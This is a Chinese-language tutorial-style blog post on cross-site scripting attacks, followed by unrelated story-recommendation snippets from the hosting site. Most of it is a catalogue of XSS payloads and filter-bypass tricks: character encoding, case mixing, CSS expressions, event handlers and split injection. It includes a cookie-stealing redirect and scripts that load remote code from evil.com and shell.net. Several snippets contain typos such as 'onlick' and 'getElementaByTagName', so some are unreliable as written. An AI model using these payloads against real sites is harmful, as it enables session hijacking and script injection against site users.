XSS_1

简介:

初学xss,xss分为三类。包括反射型,储存型和基于DOM型

一.XSS使用方法

1.简单XSS

<script>alert("XSS");</script>
<script src="地址"></script>
<script>location.href="地址?cookie="+escape(document.cookie)</script>

所有代码

2.绕过XSS-Filter

(1)利用<>标记注射html/javascript

<script>alert("xss");</script>

(2)利用html标签执行xss(需支持JavaScript:[code]伪协议)

<table background="javascript:alert(/xss/)"></table>
<img src="javascript:alert('xss');">

href= lowsrc= bgsound= background= value= action= dynsrc=这些都可以用来尝试

(3)空格回车Tab

<img src="javas cript:alert(/xss/)" width=100>

注意中间的间隔是由Tab添加的。当然也可以使用空格,回车
原因主要是因为 javascript通常以;结尾,所以,没有把换行符解释为终止符

(4)对标签属性值转码

原句:<img src="javascript:alert('xss');">
转码后:<img src="javascrip&#116&#58alert(/xss/);">

可以看出将t的ASCII码116用"&#116"表示,:表示为"&#58"
同理,也可以将&#01,&#02等插入到javascript或VBScript的头部;
Tab的&#9和换行的&#10和回车的&#13可以被插入到任意地方。
&#01相当于&#1,&#09相当于&#09;

(5)产生自己的事件

<input type="button" value="click me" onlick="alert('click me') />
<img src="#" onerror=alert(/xss/)>

当鼠标点击按钮后,触发事件。或者加载图片出错,触发事件。
(onerror是img标记的一个事件,只要页面中发生错误,就被触发)

(6)利用css跨站

<div style="background-image:url(javascript:alert('xss'))">
<style>
    body {background-image: url("javascript:alert('xss')");>
</style>
//IE5以后支持expression
<div style="width: expression(javascript:alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/));">
<style>
    body {background-image: expression(alert("xss"));>
</style>

同样也可以将xss代码,写在文件里,利用link或者@import将其导入,
已达到注入的目的

(7)扰乱过滤规则

正常的:
<img src="javascript:alert(0);">
转换大小写:
<IMG SRC="javascript:alert(0);">
大小写混合:
<iMg sRC="javascript:alert(0);">
不用双引号用单引号:
<img src='javascript:alert(0);'>
不用引号:
<img src=javascript:alert(0);>
没有空格:
<img/src="mars.png"alt="mars";>
<img/src="javascript:alert('xss');">
使用expression时构造全角字符:
<div style="{ left:expression( alert('xss') ) }">
样式表中用/**/或\或\0都被忽略:
<div style="wid/****/th: espre/*XSS*/ssion(alert('xss'))">
@\0im\port'\0ja\vasc\ript:alert("xss")';
css中关键字转码:
<p style="xss:\65xpression(alert(/xss/))">
个别浏览器问题:
<!--<img src="--><img src=x onerror=alert(1)//">

转换大小写,大小写混合,不用双引号用单引号,不用引号,没有空格,
使用expression时构造全角字符,样式表中用/**/或\或\0都被忽略,
css中关键字转码,个别浏览器问题等都可以用来过滤

3.利用字符编码

十进制转码:
<img src="&#106&#97......">
也可以在十进制字符后加;或&#0 &#00 &#0;等。例:
<img src="&#106;&#97;......">
<img src="&#00106&#0097......">
<img src="&#00000106;&#0000097;......">

除了十进制也可用十六进制。
在javascriptzj中有一个eval()函数,可以用\连接十六进制字符串,
然后用eval()执行

<script>eval("\x61\x6c......");</script>

eval()也可以执行十进制,不过需要String.fromCharCode()函数配合
string.fromcharcode()用于将字符串转化为ASCII

原码:<img src="javascript:eval(alert('xss'))">
转换后:<img src=javascript:eval(String.fromCharCode(97,108,101......))">

此外,样式表等也支持用\连接十六进制
还有加密等方法
"### 4.拆分跨站法

由于字数限制等原因,将注入代码拆分开来写
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

在使用拆分法时如果是一次注入,可以用/**/将中间的代码注释掉

4.Shellcode的调用

(1)远程调用JS

var s=document.createElement("script");//创建新元素script
s.src="http://www.evil.com/xss.js";
//把script的src属性设置成http ,xss.js里有shellcode代码
document.getElementaByTagName("head")[0].appendChild(s);
/*查找并返回文档的第一个元素,再用appendChild()调用元素
参数s,追加到指定节点的子节点列表的最后一个*/

(2)使用window.location.hash

http...?sort="><script>eval(location.hash.substt(1))</script>#alert('xss')

subst()可从字符串中抽取start(这里是1)开始的指定字符,即alert('xss')

(3)XSS Downloader

可以利用XMLHTTP技术等方法,远程读取shellcode代码

(4)备选储存技术

因为cookie等是客户端储存,可以利用XSS储存进去,然后把相关信息打印出来

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 221,695评论 6 515
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,569评论 3 399
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 168,130评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,648评论 1 297
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,655评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,268评论 1 309
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,835评论 3 421
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,740评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,286评论 1 318
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,375评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,505评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,185评论 5 350
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,873评论 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,357评论 0 24
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,466评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,921评论 3 376
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,515评论 2 359

推荐阅读更多精彩内容

  • 第2章 基本语法 2.1 概述 基本句法和变量 语句 JavaScript程序的执行单位为行(line),也就是一...
    悟名先生阅读 4,151评论 0 13
  • 1.XSS (Cross Site Script) ,跨站脚本攻击 有句话说 所有的输入都是有害的。 跨站脚本是最...
    大颓宝宝阅读 17,209评论 1 23
  • 一、什么是XSS漏洞 XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Casca...
    FateKey阅读 1,348评论 0 1
  • 之前积累了XSS 有一段时间,因为目前开始了一件有趣的工程,需要整合非常多的知识,其中Web 安全这一块出现最多的...
    刀背藏身阅读 9,077评论 0 16
  • 春去秋来,又是一年光景。繁华过后,又是一片凄凉。 那年秋天,揣着梦想来到这陌生的城市。夜幕低垂,1912街区,灯红...
    胡文璟阅读 708评论 1 0